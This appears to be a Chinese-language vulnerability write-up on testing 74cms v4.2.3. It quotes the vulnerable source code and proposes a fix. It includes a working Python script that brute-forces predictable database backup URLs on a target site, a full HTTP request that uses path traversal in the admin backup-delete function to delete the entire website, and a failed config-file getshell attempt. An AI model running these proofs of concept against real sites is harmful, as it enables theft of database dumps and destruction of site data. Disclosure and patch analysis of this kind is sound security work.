2019.1.5 下午三点到达图书馆

0x01 前期了解

看先知phpoop师傅又双叒贡献了关于74cms的一个洞 好奇一下这个CMS 于是测一下咯。

Code:http://www.74cms.com/download/index.html
Version:`74cms_Home_Setup_v4.2.3

这里不知道为什么4.2.3的发布日期为什么会比4.2.1x的早

前期了解:

看了先知phpoop师傅的文章和百度一些资料 注入感觉被挖得差不多了 试试别的。

0x02 测试过程

测试环境:MacOS 10.14 + MAMP Pro + BurpSuite + FileMonitor

0x02_1 安装测试

上来就注意到写出了日志
内容为:

[ 2019-01-05T16:27:25+08:00 ] 127.0.0.1 /install.php
INFO: [ app_init ] --START--
INFO: Run Behavior\BuildLiteBehavior [ RunTime:0.000051s ]
INFO: [ app_init ] --END-- [ RunTime:0.001199s ]
INFO: [ app_begin ] --START--
INFO: Run Behavior\ReadHtmlCacheBehavior [ RunTime:0.001016s ]
INFO: [ app_begin ] --END-- [ RunTime:0.001140s ]
INFO: [ view_parse ] --START--
INFO: [ template_filter ] --START--
INFO: Run Behavior\ContentReplaceBehavior [ RunTime:0.000124s ]
INFO: [ template_filter ] --END-- [ RunTime:0.000262s ]
INFO: Run Behavior\ParseTemplateBehavior [ RunTime:0.016973s ]
INFO: [ view_parse ] --END-- [ RunTime:0.017170s ]
INFO: [ view_filter ] --START--
INFO: Run Behavior\WriteHtmlCacheBehavior [ RunTime:0.000629s ]
INFO: [ view_filter ] --END-- [ RunTime:0.000745s ]
INFO: [ app_end ] --START--
INFO: Run Behavior\ShowPageTraceBehavior [ RunTime:0.001023s ]
INFO: [ app_end ] --END-- [ RunTime:0.001153s ]

没有什么敏感信息 留到后面看。

安装完成后日志文件会由/install/Runtime/Logs/Home/19_01_05.log目录 移动到 /install/Runtime/Logs/Home/1546677195-19_01_05.log目录 需要注意日志命名发生变化了。

安装中间环节测试未发现其他问题。

0x02_2 后台测试

在测试后台-系统-网站配置功能时发现 修改配置后程序会删掉原配置文件 重新创建新配置文件 难道刚刚修改的内容是写入到data/Runtime/Data/config.php文件 而不是写入数据库?

果不其然 的确写到了这个php文件 进过测试发现 改cms其他配置均为写到php文件 而不是数据库 这不是意味着可以找个合适的点来构造payload写入文件 达到getshell的目的

然后笔者在文件中构造好了poc代码',phpinfo(),' 测试时发现单引号被过滤了 就这样从四点过折腾到六点过没绕过 放弃 先测其他点

随后在后台-工具-数据库-备份中发现该系统数据库备份文件名简单 可猜解。

附上Python POC(仅查找2017-2019的备份):

# -*- coding: utf-8 -*-
-------------------------------------------------
   File Name:     74cms_MysqlBak
   Description :
   Author :       CoolCat
   date:          2019/1/5
-------------------------------------------------
   Change Activity:
                   2019/1/5:
-------------------------------------------------
"""
__author__ = 'CoolCat'

import requests

def getBak(time):
    print("[running]:正在查询" + time + "是否存在备份")
    dir = time + "_1"
    filename = dir + "_1.sql"
    url = target + "//data/backup/database/" + dir +"/"+ filename
    session = requests.Session()
    headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0",
               "Connection": "close", "Accept-Language": "en", "Accept-Encoding": "gzip, deflate"}
    cookies = {"think_language": "en", "think_template": "default", "PHPSESSID": "6d86a34ec9125b2d08ebbb7630838682"}
    response = session.get(url=url, headers=headers, cookies=cookies)
    if response.status_code == 200:
        print(url)
        exit()

if __name__ == '__main__':

    global target
    target = "http://www.target.com"

    for year in range(2017, 2020):
        for mouth in range(1, 13):
            for day in range(1, 31):
                time = (str(year) + str('%02d' % mouth) + str('%02d' % day))
                getBak(time)

实战测试:

前面的单引号没能绕过 暂且放弃

经过测试 phpoop师傅的某cms v4.2.1-v4.2.129-后台getshell漏洞可利用于4.2.3版本

0x03 分析总结

定位到文件/Application/Admin/Controller/DatabaseController.class.php第130-162行代码为:

protected function _make_backup_name(){
        $backup_path = DATABASE_BACKUP_PATH;
        $today = date('Ymd_', time());
        $today_backup = array(); //保存今天已经备份过的
        if (is_dir($backup_path))
        {
            if ($handle = opendir($backup_path))
            {
                while (($file = readdir($handle)) !== false)
                {
                    if ($file{0} != '.' && filetype($backup_path . $file) == 'dir')
                    {
                        if (strpos($file, $today) === 0)
                        {
                            $no = intval(str_replace($today, '', $file)); //当天的编号
                            if ($no)
                            {
                                $today_backup[] = $no;
                            }
                        }
                    }
                }
            }
        }
        if ($today_backup)
        {
            $today .= max($today_backup) + 1;
        } else
        {
            $today .= '1';
        }
        return $today;
    }

第214-217行

protected function _sava_sql($vol){
        return file_put_contents(DATABASE_BACKUP_PATH . $this->backup_name .
            '/' . $this->backup_name . '_' . $vol . '.sql', $this->dump_sql);
    }

取了备份当天的日期加上字符"_"以及一个数字来作为备份的文件名。如上面Python版的Poc所写一样。

厂商可修改命名方式来解决此问题(比如$vol变量不要用个位数字 而是换成多位随机码)

总体上来说给前台日穿74cms增加了新的机会。(4.X均通用)

2019.1.5 下午七点放弃继续测试(想起今天还没吃过饭 命要紧。)

0x04 补充(任意文件夹删除)

POC(删除整站):

GET /index.php?m=admin&c=database&a=del&name=/../../../../../ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/index.php?m=admin&c=database&a=restore
Connection: close
Cookie: think_template=default; PHPSESSID=6d86a34ec9125b2d08ebbb7630838682; think_language=en
Upgrade-Insecure-Requests: 1

问题出在/Application/Admin/Controller/DatabaseController.class.php文件的58到66行

public function del(){
        $name = I('request.name','','trim');
        !$name && $this->error('请选择要删除的备份文件');
        !is_array($name) && $name = array($name);
        foreach ($name as $key => $val) {
            rmdirs(DATABASE_BACKUP_PATH.$val,true);
        }
        $this->success('删除备份文件成功!');
    }

name参数可控 导致可任意文件夹删除。

源链接

Hacking more

...